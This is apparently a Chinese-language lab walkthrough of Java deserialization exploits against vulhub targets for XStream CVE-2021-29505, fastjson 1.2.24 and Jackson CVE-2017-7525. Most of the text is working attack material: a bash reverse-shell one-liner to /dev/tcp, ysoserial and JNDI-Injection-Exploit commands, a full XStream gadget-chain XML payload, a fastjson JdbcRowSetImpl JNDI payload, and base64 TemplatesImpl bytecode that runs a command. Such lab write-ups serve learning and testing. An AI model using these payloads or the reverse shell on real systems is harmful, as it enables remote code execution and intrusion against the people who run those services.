java组件漏洞
一、XStream
这里我们选择在我们的云服务器中搭建我们的靶场环境
cd vulhub-master/xstream/CVE-2021-29505
docker-compose up -d
出现如下页面,则显示搭建成功
默认端口为8080,访问一下主页
这里我们先编写一个自己的反弹shell的代码,然后对其进行base64编码
bash -i >& /dev/tcp/你自己的ip/要监听的端口 0>&1
接下来将我们编码后的代码插入到如下代码中
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1098 CommonsCollections6 "bash -c {echo,你自己编码后的内容}|{base64,-d}|{bash,-i}"
在我们的服务器中开启监听
同时运行我们的代码
回到靶场的主页面,进行抓包操作
修改请求方式为POST,然后拼接如下内容,输入自己的ip,并将文件格式修改为txet/xml
<java.util.PriorityQueue serialization='custom'><unserializable-parents/><java.util.PriorityQueue><default><size>2</size></default><int>3</int><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.org.apache.xpath.internal.objects.XString'><m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj></value></javax.naming.ldap.Rdn_-RdnEntry><javax.naming.ldap.Rdn_-RdnEntry><type>12345</type><value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'><message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'><parsedMessage>true</parsedMessage><soapVersion>SOAP_11</soapVersion><bodyParts/><sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'><attachmentsInitialized>false</attachmentsInitialized><nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'><aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'><candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'><names><string>aa</string><string>aa</string></names><ctx><environment/><registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'><java.rmi.server.RemoteObject><string>UnicastRef</string><string>你自己的ip</string><int>1098</int><long>0</long><int>0</int><long>0</long><short>0</short><boolean>false</boolean></java.rmi.server.RemoteObject></registry><host>你自己的ip</host><port>1099</port></ctx></candidates></aliases></nullIter></sm></message></value></javax.naming.ldap.Rdn_-RdnEntry></java.util.PriorityQueue>
</java.util.PriorityQueue>
进行放行,发现反弹到了shell
二、fastjson
这里我们选择在我们的云服务器中搭建我们的靶场环境
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
出现如下页面则表示开启成功
默认端口是8090,我们访问一下主页
将我们的反弹shell的代码进行base64编写,和第一个一样
运行如下代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,你自己编码后的shell代码}|{base64,-d}|{bash,-i}" -A "你自己的服务器ip"
他会给我们写恶意类
对我们的主页进行抓包操作,抓到的注释页面如下
修改请求方式为POST,类型为json,并输入如下内容
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"你自己生成的恶意类",
"autoCommit":true
}
}
然后进行放包,发现反弹到了shell
三、Jackson
这关我们仍然在服务器中开启靶场环境
cd vulhub-master/jackson/CVE-2017-7525
docker-compose up -d
出现如下页面则表示开启成功
默认端口为8080,我们访问一下主页
我们先进入容器中查看一下/tmp目录下的文件
然后我们使用如下数据包进行写入文件的操作
{"param": ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",{"transletBytecodes": ["yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAcTGNvbS9iMW5nei9zZWMvbW9kZWwvVGFyZ2V0OwEACGdldFBhcmFtAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAhzZXRQYXJhbQEAFShMamF2YS9sYW5nL09iamVjdDspVgEAClNvdXJjZUZpbGUBAAtUYXJnZXQuamF2YQwABwAIDAAFAAYBABpjb20vYjFuZ3ovc2VjL21vZGVsL1RhcmdldAEAEGphdmEvbGFuZy9PYmplY3QBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAZAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAGwAcCgAaAB0BABV0b3VjaCAvdG1wL3Byb3ZlMS50eHQIAB8BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAhACIKABoAIwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAABgALAAAADAABAAAABQAMAA0AAAABAA4ADwABAAkAAAAvAAEAAQAAAAUqtAACsAAAAAIACgAAAAYAAQAAAAoACwAAAAwAAQAAAAUADAANAAAAAQAQABEAAQAJAAAAPgACAAIAAAAGKiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=="],"transletName": "a.b","outputProperties": {}}]
}
其中payload内容为base64编码后的内容,我们可以对他解码后进行修改,让他写入我们想要写入的文件
对主页进行抓包操作,初始数据包如下
修改方法为POST,添加/exploit,然后输入我们的内容,修改后的数据包如下
进行放包,发现我们的文件被写入进去了